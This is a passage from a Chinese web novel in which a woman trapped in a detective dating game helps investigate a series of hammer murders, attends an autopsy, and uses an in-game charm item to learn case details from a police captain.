碰上许多客人,我喝了太多酒,不能再继续喝了,但又不想驳了客人的面子,所以选择从后门悄悄离开。”
祝好脑子里浮出一个念头:难道说他从后门离开时,无意间撞见了后巷里陈少的尸体,又因为喝了太多酒,意识模糊,误以为自己是在做梦?
她接着问:“你的员工有看到你吗?”
李砚川还是摇头:“警察找他们问过话,没有人记得我是什么时候离开的,只知道我进了休息室之后就没有在酒吧里出现过。”
也就是说,他抱着向日葵从后门离开后就没有再回到酒吧里,他的记忆也是从那时起戛然而止。酒吧后门和停车场都没有安装监控,没有人能证明他之后是直接回了家,还是去了其他地方。
祝好还有太多猜测和疑问,但是警方的调查才刚刚开始,有用的线索实在太少。目前他们能做的,就只有耐心等待了。
第47章
结束谈话时已经是十一点多了,李砚川喝了酒不能开车,但还是坚持给祝好叫了专车,目送她上车后才回到酒吧里。
奔波了一整天,祝好疲惫不堪,一直在打哈欠。临睡时她突然想起很久没查看系统了,便点开了控制面板。
商城那一栏多了个小红点,点开一看,原来是更新了可兑换的商品。
体力值旁边的选项本来是个问号,现在变成了“魅力值”,上面的介绍写着“对可攻略对象散发魅力吧,聆听他们内心的话语!”。
什么意思?看不懂,现在也没精力去研究。
她又点开了“服饰”的选项。
自从上回提过反馈意见后,商城里倒是上架了许多日常服饰,但是不知道为什么,开发人员还是没有放弃设计那些华而不实的大裙摆礼服。
其中一件看起来十分华贵的宫廷风丝绒礼服倒是挺好看,只不过需要500积分才能兑换。
她忍不住吐槽:“穿上这件衣服应该会变得刀枪不入吧?”
系统听不出她的阴阳怪气,热情地解释:“宿主,这件裙子没有防御功能,但是能让您变得光彩照人,令可攻略对象对您欲罢不能。”
祝好嫌弃地撇了撇嘴,她觉得自己现在就挺光彩照人的,根本用不着这条裙子。
退出服饰那一栏后,她刚点开“礼物”,系统抑扬顿挫的声音冷不丁在脑海中响起。
“宿主,七夕节快到了,我们特地上架了许多限量礼物。赠送给可攻略对象,可以随机提高你们之间的好感度哦!而且现在还有限时优惠,十分划算!机不可失,时不再来,您还在等什么?快来购买吧!”
祝好觉得自己仿佛身处什么大卖场,系统宛若热情的售货员大妈正拿着一个大喇叭不停在她耳边推销新产品。
她点开新上架的礼物,逐一查看价格和功能。
——限量黑胶唱片:100积分,悠扬的音乐是约会时调节气氛的最佳单品!
——香醇红酒:150积分,与心仪对象小酌一杯,情迷意乱时或许会发生浪漫的事情哦!
祝好皱着眉继续往下看。
——条纹领带:180积分,领带除了作为装饰,或许还有其他(不能说)的作用呢!
——粉红色毛绒手铐:200积分……
等等,怎么越来越离谱了,这是什么十八禁游戏吗?
再说了,兑换一件礼物需要消耗那么多积分,获得的好感度居然是随机的?万一她送了个200积分的礼物,只换来5点好感度,那岂不是亏大了?
不行不行,这赌狗谁爱当谁当。
系统有些失望:“宿主,您真的不考虑吗?这些限量版商品错过了可就不再上架了哦!”
祝好没搭理它,默默退出商城,点开自己的资料,面板上显示出一串数值——
姓名:祝好
体力:20
积分:615
原来体力值只剩下20了,难怪她身心交瘁,疲惫不堪。
也是,这一天她就没停下来过,先是去案发现场跟尸体打了照面,从李砚川家回来又莫名被陈少那不讲理的老妈揍了一顿,最后还当了回心理咨询师,一整天下来牛马都没她忙。
不过上一段剧情全凭她的聪明才智完成了,几乎没用到系统的功能,不知不觉居然积攒那么了多积分。祝好有些得意,觉得自己完全可以在游戏里横着走,根本用不着靠什么七夕礼物来获取好感度。
再说了,感情这种事情应改在日常中慢慢培养,怎么能靠送礼物去快速提升呢?
把这句话原封不动还给系统后,她毫不留情地关掉控制面板,准备好好睡一觉,把消耗的那80点体力给补回来。
或许是前一天实在太过疲惫,这一晚她睡得很好,梦里所有的积分都变成了金光闪闪的小人,手拉着手连成了一座桥。祝好沿着那座桥走啊走,最后竟然回到了自己的房间。
太好了,终于可以把电脑里那些不能见人的秘密删掉了!她按捺住激动的心颤抖的手,右键单击桌面那个装满小黄漫的文件夹,刚要点下“删除”,耳边突然响起一阵烦人的“笃笃”声。
紧接着,整个房间突然变得扭曲,手里的鼠标逐渐变大,而她的身体极速缩小,变成了一个光点,不受控制地钻进了电脑屏幕里。
倏然睁开眼时,天色已经亮了。
“笃笃”声变得更急促了,祝好艰难从床上爬起来,趴在楼梯扶手上对着客厅中央手持扫帚的程述哀叹一声:“老大,你能不能换个温和点儿的唤醒方式,比如说打个电话什么的?”
程述放下扫帚,白她一眼:“楼上楼下的,还打什么电话?”
“你就不担心天花板被你捅穿了,房东大妈来找你麻烦吗?”
他弯腰把在腿边撒娇的白眼狼抱到饭碗前,打开猫粮的袋子:“这你就别操心了,倒是你,还说包一日三餐呢,天天睡到自然醒,我就从来没吃到过你做的早餐。”
祝好开启防御系统,自动忽略了他的牢骚。她一眼瞅见餐桌上已经放着一袋早餐了,赶紧换好衣服洗漱好来到餐桌旁,拆开袋子,拿起流沙包咬了一口,不要脸地埋怨:“怎么才买了一个,还不够我塞牙缝的。”
程述把猫粮倒进白眼狼的碗里,没头没脑地答了一句:“反正待会儿都要吐,吃太多也是浪费。”
祝好腮帮子被包子塞得满满当当,像一只储粮的仓鼠,听到这句话她心生警惕,停止了咀嚼,口齿不清地问道:“什么意思?”
程述起身看着她,嘴角勾起意味深长的笑:“初步的尸检结果应该已经出来了,待会儿我们要去温主任的解剖室见见那位陈少。”
*
站在警局门口,祝好深吸一口气,突然满脸痛苦地弯下腰捂着肚子:“诶,我肚子好疼,可能要去上个厕所,你们先开始吧,不用等我,我待会儿就回来。”
程述停下脚步,斜乜她一眼:“能不能想个有创意点儿的借口?”
祝好动作一滞,既然被拆穿,那索性不装了。
她哭丧着脸耍赖:“好好好,我承认我是怂货行了吧?你放过我吧,为什么非要我进解剖室啊?”
那些血次呼啦的案发现场就已经够挑战极限了,“解剖室”这三个字光是听着就能让人起一身鸡皮疙瘩。她根本不想面对解剖台上那些开膛破肚的尸体,经历一回,怕是半个月都吃不下荤菜了吧。
“反正总要面对的,你就当早死早超生吧,我的助手可不能那么没用。”程述的语气不容置疑:“别磨蹭,赶紧走。”
祝好还是第一次进法医解剖室,这里温度很低,两层口罩也阻挡不了无孔不入的福尔马林和血腥
味儿。不锈钢解剖台上,陈少被白布覆盖的尸体像一座隆起的山脉。
她站在门口踟蹰不前,不停给自己加油打气:祝好,你是最棒的,不能让那个姓程的看不起你,你一定能战胜自己,这只是个游戏,眼前的一切都是假的,呕——早知道就不吃早餐了。
穿着解剖服的温珣弯着眉眼,俯身低声问她:“很不适应吧?我在学校第一次上解剖课也是好几天都吃不下饭。相较之下,你已经比我厉害很多了。”
祝好知道他多半是在安慰自己,但还是忍不住暗自感慨他真是个大好人,等这次剧情结束获得奖励之后,一定要给兑换一件特别的礼物送给他。
当然了,粉红色毛绒手铐除外。
“啧,我们温主任真是善解人意。”程述不合时宜地出现在两人中间,一把勾住温珣的脖子把他带到验尸台前:“不过现在除了安慰我的小助手,是不是还有更重要的事情要做?”
温珣朝他翻了个白眼,戴上手套,开始了工作。
即将掀开盖住尸体的白布时,他顿了一下,给祝好递了个眼神:“为了更清晰地观察颅骨的受损情况,我们把死者的头皮切开了。”
祝好知道他是在提醒自己要做好心理准备,强忍住胃里的翻江倒海,对他比了个“ok”的手势:“没关系,我可以。”
然而当白布掀开时,她还是忍不住喉头一翻,差点儿没吐出来。
陈少全身惨白,没有一丝血色,头部的伤口已经被清理干净了,头皮上有被切开的痕迹。
温珣迅速进入工作状态,对着尸体认真分析起来:“死者的死亡是前天凌晨2点,身上没有反抗痕迹,死因是颅骨粉碎性骨折,骨折线从枕部一直延伸到颅底,脑组织也有一定程度的损伤。跟之前判断的一样,是由钝器击打造成的,而且凶手下手很重,是铁了心要置他于死地。”
秦聿风站在解剖台的另一侧,皱着眉问:“能确定凶器吗?”
温珣指着陈少头颅上的创口:“接触面很小,但力度很大。从伤口形状上看,楞边圆滑,而且我在伤口里检测出少量金属成分,由此可以判断凶器应该是市面上里最常见的铁锤。”
秦聿风闻言烦躁地抓了抓头发。
如果是普通铁锤,那从凶器源头确定凶手的身份无异于大海捞针。毕竟这样的铁锤满大街都能买得到,而且现在72小时也过去了近三分之一,可想而知他的压力有多大。
“我还有一个发现。”温珣让助手把陈少的尸体翻了个面儿,指着他的后腰:“你们看看这个。”
祝好忍住恶心,凑近看了一眼,发现他的后腰上有两个灰白色的圆点,忍不住提问:“这是什么?”
温珣回答:“这是电流斑,又被称为电流印记,是带电的导体与皮肤接触时造成的损伤。也就是说,死者生前遭受过电击,虽然不致命,但是会让他肢体麻木无力,足以限制住他的行动。”
也就是说,跟程述和秦聿风之前推测的一样,凶手是利用电击棒一类的物品从身后袭击了陈志恒。因为事发突然,他又毫无防备,所以很快就失去意识倒在地上,随后凶手才开始用铁锤锤击他的后脑,导致了他的死亡。
程述啧了一声:“这个凶手虽然手段残忍,但应该对自己的体型和力量没什么自信,所以出于自保心理,他需要先将受害者控制住,避免遭到反抗。”
李砚川比陈少要高一个头,看起来也比他强壮一些,这是不是就能说明他不是凶手了?
还没等祝好提出自己的推测,秦聿风的手机就响了起来,他看了眼来电显示,眉头紧皱,仿佛还没接通就已经预料到对面带来的不是什么好消息。
“说。”他握着手机听了一会儿,眼神不经意地从祝好身上扫过,低声道:“知道了,我现在过去。”
挂了电话,秦聿风脸色阴沉,不加掩饰地叹了口气:“市中心附近的巷子里又发现了一具尸体,同样是头部受创。”
第48章
程述从后视镜里瞥了后座的温珣一眼,阴阳怪气道:“我说温主任,您今儿怎么不坐你们法医专车了,非要来坐我这小破车,不嫌挤得慌么。”
温珣把他的话当成耳旁风,完全没有要搭理他的意思,兀自拧开一瓶水递给祝好:“祝小姐,秋天快到了,天气干燥,你多喝点水。”
看温珣没搭茬,程述又转向秦聿风抱怨起来:“老秦你也是,真把我当免费司机使了?局里车那么多,为什么每回都要开我的?”
副驾上的秦聿风低头翻看手里的文件,不耐烦地回了句:“小气吧啦的,又不是不给你报销油钱。”
这三个人一旦凑在一起,除了工作的时候能安静点,其他时间基本都是互相挖苦和嘲讽对方。
祝好无心在意他们的拌嘴,她接过温珣递来的水喝了一口,余光瞥见秦聿风手中的文件里夹着几张照片,看起来像是哪个地方的监控,便欠身凑上前问了一句:“秦警官,这是哪儿呀?”
秦聿风回答:“李砚川住的那个别墅区。”
祝好心念微动,斟酌着语气问:“拍到李砚川的车了吗?”
秦聿风没什么防备,把调查结果大致跟她说了一遍。
经过询问,酒吧的员工证实李砚川在回到员工休息室之后就没再出现过,但所有人都在忙着接待宾客,没人注意到他是什么时候离开的。
而小区里的监控显示他在凌晨2点46分从大门进入,径直开向他家里。小区的安保系统录入了他的车牌号,所以闸门自动打开了。
由于角度问题,加上夜间的监控有些模糊,只能隐约分辨出驾驶座上的人穿了件黑衣服,戴着压得很低的鸭舌帽。车辆进入小区后,径直驶向了李砚川的别墅。
秦聿风把照片递给她:“痕检在他家里采集到了几组指纹,一一排除嫌疑之后,剩下的只有李砚川自己的。另外,他的车内部明显经过清理,但我们还是在后座上发现了少量血迹。”
温珣接过话茬:“对了,你们带回来那件衣服虽然被清洗过,不过联苯胺试验呈现阳性,说明衣服曾经粘上过血液。”
祝好翻看着照片,听到他们的话,心一沉,一时有些着急:“可是监控不是拍到了开车的是个穿黑色衣服的人吗?李砚川那天穿的明明是白色衣服。”
程述哼笑:“衣服穿上就不能换了?”
祝好反驳:“我记得昨天去他家的时候,车库里的车看起来没有任何剐蹭痕迹,甚至连停车入库都十分标准,这显然不是一个酒醉的人能够做到的吧。”
“祝小姐,你说的这些我们不是没有考虑过,就算开车的人不是他,也不能说明案子跟他没有关系,对方或许是他的同伙,或者受他指使呢?”
祝好脱口而出:“不会的,他没有同伙。”
“你怎么能肯定他没有同伙?”或许是急火攻心,秦聿风的语气流露出少见的不耐烦,但他很快敛起了这种情绪,略一停顿后,语气也放缓了一些:“当然,在没有实际证据之前,这一切都只是推测。等DNA的比对结果出来,才能知道他车上的血迹是不是属于陈志恒的。”
祝好没说话,把照片还给秦聿风后,悻悻地靠在座椅上。
她相信李砚川没有杀人,但眼下太多不利的证据都指向他,身为警察的秦聿风不可能无缘无故放弃对他的调查。
现在只能默默祈祷,待会儿要去的那个案发现场千万不要和他有关。
*
车很快开到了案发现场附近,这儿距离李砚川的酒吧大概大约有一公里,发现尸体的地方又是一条没有监控的窄巷。
刚从车上下来,就有警员迎上前打招呼:“秦队,你来了。”
晌午的阳光有些刺眼,秦聿风把挂在领口的太阳镜架在鼻梁上,问道:“这边什么情况?”
警员给他们递上鞋套和手套:“报案人是个拾荒的老头,想来这儿找点废品去卖钱,结果就看到死者被人扔在垃圾堆里。一开始那老头儿还以为是什么成人玩具,扒开垃圾之后才发现是个死人,吓得魂都快没了。”
说着掀开警戒线,把他们往巷子里领。
巷子约二三十米长,左右两边是画满涂鸦的高墙,墙边堆放着各种杂物。涂鸦已经开始掉色,说明这里鲜少有人经过。
警员接着道:“我们在现场找到了死者的挎包,包里的证件显示她名叫孙菲菲,是一家化妆品公司的销售。”
孙菲菲被发现时就躺在一个垃圾桶旁边,身上覆盖着纸板、酒瓶、用过的纸尿布、腐败的食物,甚至还有一只干瘪的死老鼠,硕大的绿头苍蝇围着她嗡嗡乱转。
祝好本以为经历了解剖室的洗礼,自己的承受能力又变强了一些,可当血腥味混合着垃圾发酵的腐臭冲进鼻腔时,胃里还是不受控制地泛着酸水。
距离孙菲菲尸体十米开外有一滩已经凝固的血迹、飞溅的血点,以及一道带血的拖拽痕迹。很显然,凶手是先将她杀害后,再把她拖到这儿来的。
刑事照相人员记录完毕后,秦聿风招呼几个警员将孙菲菲身上的垃圾收集起来一起带回去。
随着垃圾一点点被移走,孙菲菲的尸体逐渐呈现。她以一个扭曲的姿势侧躺在角落里,半边脑袋凹陷,栗色的长发上凝固着黑色的血。
看着她身上沾满血污的紧身吊带上衣和豹纹短裙,祝好心头一悸,无端觉得这身打扮看起来有些熟悉,似乎在哪儿见过,却又一时对不上号。
她定了定神,安慰自己世界上应该不会有那么巧合的事,没准只是自己多虑了呢。
温珣让法医助理把孙菲菲的尸体放在事先铺好的塑料布上,戴上手套轻轻掰动孙菲菲的下颌,又翻检了她后脑的伤口。
过了一会儿,他给出结论:“尸斑处于坠积期,结合尸僵的程度来看,死亡时间应该在8-10小时之前。死者面部完整,后脑有叠加的打击伤,枕骨骨折严重,伤口的形状跟之前那名死者十分相似,凶器应该也是手握式的敲击工具,最有可能的还是铁锤。”
“身上没有反抗痕迹,但她的手臂和侧脸有十分明显的拖拽伤。她应该也是在毫无防备的时候被人从身后偷袭,凶手下手很果断,第一下就把她打倒在地,随后又在她的后脑补了几下,在她失去反抗能力后,抓住她的脚踝把她拖到这儿。”
秦聿风问:“有被性侵的痕迹吗?”
“衣着完整,大腿内侧没有损伤,基本可以排除性侵的可能。”
祝好想到了陈少身上的电流斑,接过秦聿风的话继续问:“那她有没有被电击过?”
温珣轻轻卷起孙菲菲身上的吊带衫仔细检查了一遍,摇了摇头:“后腰上没有,其他部位暂时还不知道,需要把尸体带回去进行进一步的检验。”
秦聿风点点头,走向巷子另一头,对着蹲在地上观察血迹的程述提出疑问:“老程,有什么发现?”
“作案手法和作案工具都很相似,甚至可以说是一模一样,应该是同一个人连续犯案。”
程述望着那摊血迹沉吟许久,似乎是在脑中还原着案发经过。
“当时孙菲菲就站在这路口,凶手跟踪了她一路,在进入巷子之后才叫住她。他们两人之间或许有过一段对话,但是不欢而散。等孙菲菲转身要离开时,他突然拿出凶器往她的后脑砸去。他的攻击充满了愤怒,每一锤下去,都在尽力发泄着自己的不满。”
说着走到角落里,蹲下身从地上拾起一截烟头举到眼前,双眉微蹙:“前两天下过一场雨,如果这个烟头早就扔在这儿,应该会有被水泡过的痕迹,所以很有可能是凶手留下的。凶手要么就是在这儿蹲守着孙菲菲,要么就是把她打倒后,蹲在这儿看着她死去。”
祝好不禁打了个寒噤:“这么变态的吗?”
程述把烟头放进秦聿风递过来的物证袋里:“杀戮会使他肾上腺素飙升,给他带来无以伦比的快感,而当受害者停止挣扎以后,这种快感就会在顷刻间荡然无存。所以他会在确保自己安全的情况下,看着地上的尸体细细回味着这种感觉。”
秦聿风看着物证袋里的烟头:“这个牌子的烟六块钱一包,说明凶手的经济水平一般,应该没有固定工作,或者处于失业状态。不过他砸烂了陈志恒的面部,而孙菲菲的面部完好无缺,这又是为什么?”
程述眯起眼睛:“从他们后脑的伤口上看,两起案子都存在过度杀戮的行为,反映出凶手强烈的仇恨心理,我推测孙菲菲跟陈志恒一样,死前都与他有过争执,只不过他对两位受害者的看法有些不一样。”
秦聿风哦了一声:“有什么不一样?”
“如果说凶手砸烂陈志恒的脸是一种极端的报复行为,那把孙菲菲拖到垃圾桶旁边,并把垃圾倒在她身上,则更像是……”
祝好灵光一闪,接过他的话:“一种蔑视。”
程述转头看向她,眼底闪过一抹讶色,同时微不可察地弯了下嘴角:“继续。”
看他少见地没有挖苦自己,祝好有些得意:“凶手大费周章把尸体拖动了十来米扔到垃圾堆里,还把垃圾全都盖在她身上,说明在他眼里,死者就等同于一件垃圾。”
他挑了挑眉:“有点进步啊,小助手。”
旁边的小警员低估了一句:“有那么玄乎么?我觉得凶手只是担心尸体被人发现,才用垃圾把她盖住的。”
“死者遇袭的地方靠近巷口,而巷口出去就是条冷冷清清的小路,大晚上根本没什么人经过。”程述指了指垃圾桶:“如果他的目的是把尸体藏起来,那么你觉得是把垃圾桶拖过去简单一些,还是把人拖过来简单一些?”
小警员一愣,面色涨得通红,讪讪地噤了声。
秦聿风看出他的窘迫,不动声色转移了话题:“联系上孙菲菲的家人了吗?”
小警员回答:“她的家人都在外地,已经在赶来的路上了,不过我们从她的最近通话中找到了一个最常出现的号码,打过去后是她一个名叫罗佳怡的朋友接的,说她们昨晚还在一起喝酒,但分开后就再也没有联系上她,还以为她是喝醉睡着了。”
秦聿风点点头:“先把尸体运带回去,通知罗佳怡到警局去认尸,其他人留下来继续搜查。”
警员们应了声是,纷纷忙活去了。秦聿风再次把太阳镜架回鼻梁上,招手示意程述和祝好先走。
走到巷子口时,祝好的眼前突然出现一个小小的放大镜图标,同时耳边响起系统“发现隐藏线索”的提示音。
她内心一喜:隐藏功能终于又出现了!
顺着放大镜提示的方向看去,角落里有一丛茂密的杂草,看起来并没什么特别的,但里面似乎有什么东西,在晌午阳光的照射下隐隐反光。
她做贼似的左右张望片刻,确认没人注意到自己后,才戴上手套轻轻拨开杂草,里面果然静静躺着一只金属打火机。
这打火机难道是凶手不小心落在这儿的?
拾起打火机的瞬间,她头皮过电似的一阵发麻——打火机上刻着一个logo。这个logo她认得,跟Inkstone酒吧门口招牌上的一模一样。
该死,真是怕什么来什么,为什么又出现了跟李砚川有关系的东西?
还没等她把这个问题想明白,却面临着更棘手的问题:她该怎么办好?
要把打火机偷偷藏起来吗?
——不行,虽然是在游戏里,但这么做可是帮助毁灭、伪造证据罪,犯法的啊喂!
要告诉秦聿风吗?
——可他本来就对李砚川抱着怀疑态度,这个打火机又来自Inkstone酒吧,无疑会加重李砚川的嫌疑。
正当她犹豫不决时,身后突然传来秦
聿风的声音:“祝小姐,你手里拿的是什么?”
祝好吓了一激灵,手里的打火机差点没掉在地上。
好了,这下不用纠结了,直接被抓了个现行。
她只好起身,若无其事地把把火机交到秦聿风手里:“我、我刚刚在路边捡到这个,觉得挺好看的,就……多看了两眼。”
这话听着一点儿底气都没有,甚至没办法说服她自己。
秦聿风接过打火机端详片刻,抬头问她:“这上面的logo是李砚川那家酒吧的吧。”
祝好故作惊讶地“哈”了一声:“是、是吗?不会那么巧吧?我也不太确定,也许只是长得像吧。”
话说到一半,她下意识把手伸向后颈,又猛地意识到这是撒谎时的典型反应,只能“不经意”地撩了下耳边根本不存在的碎发。
秦聿风目光在她脸上盘桓了一阵,却什么也没说,只是把打火机装进物证袋里,交给了身边的警员。
第49章
刚回到警局,就有警员过来告知罗佳怡已经在会客室等着了,秦聿风应了一声,交代警员去调取案发现场附近两公里的监控记录,再调查一下孙菲菲的社会关系,自己则马不停蹄去了会客室。
这真的是个乙游吗?可攻略对象一天天忙得跟个陀螺似的,除了工作之外多一句话都说不上,更别谈什么攻略不攻略的了。
祝好叹了口气,看向躺在椅子里假寐的程述,心想这人拿着警局那么高的工资,怎么能睡得那么心安理得的。
她伸长腿用脚尖轻轻踢了下程述的小腿:“老大,我问你个问题。”
程述眼睛都懒得睁开,不耐烦地啧了一声:“又干什么?”
“如果——”祝好想了想,特别把“如果”这个词强调了一遍:“我是说如果,有人梦到了跟案发现场一模一样的场景,可人又确实不是他杀的,会不会是什么灵异事件?比如……鬼上身之类的。”
程述微微掀起眼皮斜乜她:“你那脑瓜子又在琢磨什么东西,没看到外边儿墙上贴的标语吗?‘破除封建迷信,共创科学社会’,小心秦警官抓你去上思想教育课。”
祝好:“……”
不是灵异事件,也不是人格分裂,那究竟还能怎么解释李砚川梦到陈少死亡现场的事儿?
难道真的只是个巧合?
大概是看她冥思苦想,愁眉苦脸的,程述还是简明扼要地回答了她的问题:“你说的这种情况,有可能是选择性失忆。”
选择性失忆?这对祝好来说可是个新鲜词汇,她连忙坐直身子,侧耳聆听。
程述接着解释:“人类的大脑有自我保护机制,在受到某种外部刺激时,会潜意识遗忘一些自己不愿记得的事情。”
外部刺激?
比如说……凶杀案的现场?
祝好支起胳膊托着腮,双眼写满了求知欲:“能不能再展开说说?”
程述耐心耗尽,转动椅子面向她:“阁楼里有那么多书,回头你自己慢慢查去,顺便充实一下你的脑袋瓜子,省得一天到晚就知道睡睡睡,还说要做一个月的家务呢,连白眼狼的屎都是我铲的……”
祝好举起一只手,掌心朝向他,义正言辞道:“打住,程大侦探。我们在探讨严肃的学术问题,可以不要扯到这些无关紧要的家务事上面吗?”
程述眼角一抽,到了嘴边的话说也不是,不说也不是,那副吃瘪的表情把祝好逗乐了,刚想再戏谑几句,就听到门外传来一阵匆忙的脚步声。
秦聿风一阵风似的推门走进来,水都没来得及喝一口,就用卷起的文件指了指门口,对程述道:“老程,你出去一下。”
程述不情不愿:“你要干嘛?”
秦聿风没有回答,不耐烦地扬了扬下颌,语气有些生硬:“别管我要干嘛,你出去就行,我有事要单独跟祝小姐聊。”
有事要单独跟她聊?
看着秦聿风阴沉的脸色,祝好心里突了一下:这么严肃的表情,怕不是什么好事。
程述给她递了个幸灾乐祸的眼神,起身把椅子推到秦聿风旁边,做了个“请”的手势,往门外走去。
随着门锁“咔哒”一声合上,办公室陡然之间变得格外安静,连墙上时钟的滴答声都显得有些聒噪。
祝好不自觉坐得板板正正,双手搭在膝盖上,像一个犯错之后等着挨批的学生。
可等了半天,秦聿风却没有说话,而是靠在椅子里,低头翻着手里的文件。
祝好犹豫了一下,决定率先打破这安静到诡异的气氛,干巴巴地笑了一声,问道:“秦警官,你有什么事要跟我聊吗?”
秦聿风抬眼,视线在她脸上打了个转,又毫无波澜地收了回去:“昨天晚上你去了李砚川的酒吧?”
祝好心头无端一跳,这虽然是个疑问句,但他的语气十分笃定。
她咽了口唾沫,心虚地点了点头,讪讪地问:“你怎么知道?”
“最新一名遇害者孙菲菲和她的朋友昨天晚上也在那家酒吧里,她们偷偷拍下了李砚川的照片。”他从文件里抽出一张照片举到祝好面前:“李砚川对面这个女孩儿是你没错吧?”
祝好定睛一看,照片里确实是面对面坐着的她和李砚川,脑袋里登时警铃大作——她终于想起来为什么会觉得孙菲菲的打扮看着很熟悉了。
昨天晚上坐在吧台前面一直频频往他们这边看的那两个女孩,就是孙菲菲和她的朋友。
这剧情的发展还真是有够狗血的,绕了老半天,又绕回了Inkstone酒吧,仿佛不把所有不利的证据都引到李砚川身上,系统就不肯善罢甘休似的。
人证物证齐全,她也没办法狡辩,只好如实回答:“是我。”
秦聿风眼中的温度骤降,语气也严厉起来:“祝小姐,我知道李砚川是你的朋友,但在我这儿他是两起谋杀案的嫌疑人。你身为调查人员,私下还跟他有联系,这不合规矩,知道吗?”
认识这么些天,祝好从没有见过秦聿风对自己摆出这副声色俱厉的模样,莫名有了一种上学时被老师叫到办公室批斗的既视感,整个人变得唯唯诺诺,在他的审视的目光中一寸一寸矮了下去。
她低头捏着自己的衣角,忐忑不安地道歉:“对不起啊,秦警官,给你添麻烦了。”
又主动解释:“我只是看他心情不好,安慰了他几句,晚上十一点多就回家了,还是他给我叫的专车,我到家的时候老大还没睡呢,不信你可以问问他。”
秦聿风扶着额角叹了口气,半晌没说话。再开口时,语气稍稍缓和了些:“我没有怀疑你,那你能不能告诉我,李砚川都跟你说了什么?”
祝好点点头,然而斟酌片刻,还是没把李砚川“梦到”案发现场的事告诉他——毕竟这事儿太玄乎了,她还没有任何头绪,说出来也只能加重李砚川的嫌疑。
她不动声色藏起小心思,露出一个无辜的笑:“他只是跟我吐了些苦水而已,你也知道他的酒吧才刚开业就碰上这种事,对生意肯定会有影响的,所以他昨天心情很郁闷。不过你放心,关于案子的事情我一个字没向他透露,我发誓。”
后面这句话倒是没有撒谎,所以她的底气很足。
秦聿风没有接茬,他双手抱胸靠在椅子里,皱了皱眉,似乎对这个回答不是很满意,却又一时找不出她话里的破绽。
办公室里的空气又安静下来,祝好有些不自在,清了清嗓,问:“秦警官,这起案子也跟李砚川有关系吗?”
秦聿风重重叹了口气,一脸严肃地看着她:“祝小姐,从今天开始,我不能再向你透露这起案子的信息了,抱歉。”
“可是——”
他却抬起手示意她先不要说话:“这件事一开始是我欠考虑了,你和他是朋友,一定没办法心无旁骛地去参与调查。我能理解你,如果犯罪嫌疑人是老程,我扪心自问也不一定能完全做到客观公正。”
祝好心里咯噔一下,完了,自己这是要被他踢出队伍了吗——虽然她也没真的在队伍里,但借着程述助手的名义,还是能直接参与到调查中,然而秦聿风这句话等于直接把她排除在外了。
这可怎
么办好?拿不到线索,剧情根本无法继续下去。
不对,就算她不能参与调查,但程述可以啊。他的原则性没有秦聿风那么强,到时候旁敲侧击、软磨硬泡,大不了再多承担点家务,应该还能打听到一点线索。
还没等祝好松一口气,秦聿风的下一句话就如晴天霹雳一般,毫不留情地劈碎了她的计划和幻想:“我会给你和老程放几天假,你们先好好休息吧。”
祝好还想说些什么,话刚到嘴边,就被他一个不容置疑的眼神给怼了回去,只好悻悻地点了点头:“好,我知道了。”
秦聿风把手里的文件不轻不重地掼在桌上,向门口方向抬了抬手:“没事你就先回去吧,我还有事要忙。”
这就下逐客令了?
祝好起身往门口走,一颗心沉到谷底。
看来秦聿风是不会向她透露任何跟案子有关的事情了。可万一李砚川真的不是凶手,又被定了罪,那这个剧情岂不是永远也不能完成了?
怎么办?
心念电转间,她心里突然有了个主意——虽然有些不道德,但眼下实在没有其他办法,只能放手一试。
见她站在门前磨磨蹭蹭,秦聿风问:“祝小姐,还有事吗?”
祝好迅速打开控制面板,点进商城,选择了“魅力值”。
系统弹出提示:“请问确定要用50积分兑换魅力值吗?”
她选择了“是”。
“魅力值”的简介写的是“对可攻略对象散发魅力吧!聆听他们内心的话语”。
“内心的话语”暂且可以理解为不想、不愿或者不好意思说出口的话,秦聿风不想说不出口的话,是不是也包含案件的细节呢?
虽然这么做很不道德,甚至有利用人之嫌,但祝好实在是迫不得已。
毕竟剧情的发展不受系统控制,更不受她的控制,她根本没时间在每一次决定前深思熟虑,只能走一步看一步,想办法把剧情带回到原定的结局。
在心里哐哐给秦聿风磕了两个响头后,她收起满腹心猿意马,转身注视着他的眼睛:“秦警官,可以告诉我孙菲菲的朋友都说了什么吗?”
秦聿风愣了一下,下一秒就给出了答案:“在你离开后,孙菲菲去找了李砚川,想问他要联系方式,被他拒绝了。她平时脾气就很冲,觉得自己丢了面子,就跟李砚川起了点争执……”
魅力值果然有用!
祝好还在等待他接下来的话,他却突然顿住了,眼神里充满迷茫,似乎在疑惑自己为什么会不受控制地说出这些。
才几句话就结束了?甚至还没听到最关键的点呢!
系统解释:“宿主,魅力值的作用只能持续十秒钟。”
什么黑心游戏!当初兑换体力值还能持续10分钟,这50积分花得也太亏了!
她咬咬牙,再次打开商城选择了“魅力值”,系统却弹出提示:“抱歉,魅力值24小时内只能使用一次。”
祝好:“……”
看她突然一副垂头丧气的模样,秦聿风更是茫然不解:“我刚才……”
祝好只能装傻:“刚才怎么了?”
秦聿风愣怔了一下,低头揉捏着自己的眉心:“没什么,等案子有结果我会第一时间告诉你的,这几天你就当放个假吧。”
第50章
住在三楼的房东大妈早早吃过晚饭,正坐在门口帮怀里的小白狗梳毛。
听到脚步声,小白狗龇牙咧嘴地朝着程述狂吠起来,房东大妈哟呵一声乐了:“小白跟哥哥姐姐问好呢?真乖。”
又跟他们打了个招呼:“小程,你们吃饭没有?”
程述不动声色地瞪了小白狗一眼,举了举手里的塑料袋,对房东大妈露出一个人畜无害的微笑:“买了菜,正要回去做呢。”
走到楼梯拐角处,他才压低声音对蔫头耷脑的祝好啧了一声:“你可真行,知道我不想上班,还给我弄了个带薪假期。今晚想吃什么,我心情好,我做饭。”
难得他提出要主动做饭,但祝好实在没什么心情,她潦草地摇头:“我不饿,什么也不想吃,你自己吃吧。”
回到家里,祝好换了鞋子,敷衍地摸了摸在门口迎接他们的白眼狼,心事重重地上了阁楼,狠狠把自己砸在床上,脸埋在枕头里,长长地叹了口气。
杀害陈少的凶手还没找到,短短一天时间又多了一位受害者,而且都跟李砚川有着千丝万缕的联系。
这案子本身就已经够扑朔迷离了,如今不能从秦聿风那里得到警方掌握的线索,剧情根本推进不下去。
怎么办好呢?
趴了一会儿,她从床上爬起来,目光在床旁边的书架上逡巡片刻,最终锁定了一本心理学的书籍。
与其这么消沉下去,还不如找点事情做,比如说多看点书,充实一下自己的脑袋瓜子。
她把书翻到“记忆障碍”那一部分,找到了关于“选择性失忆”的内容,细细阅读起来。
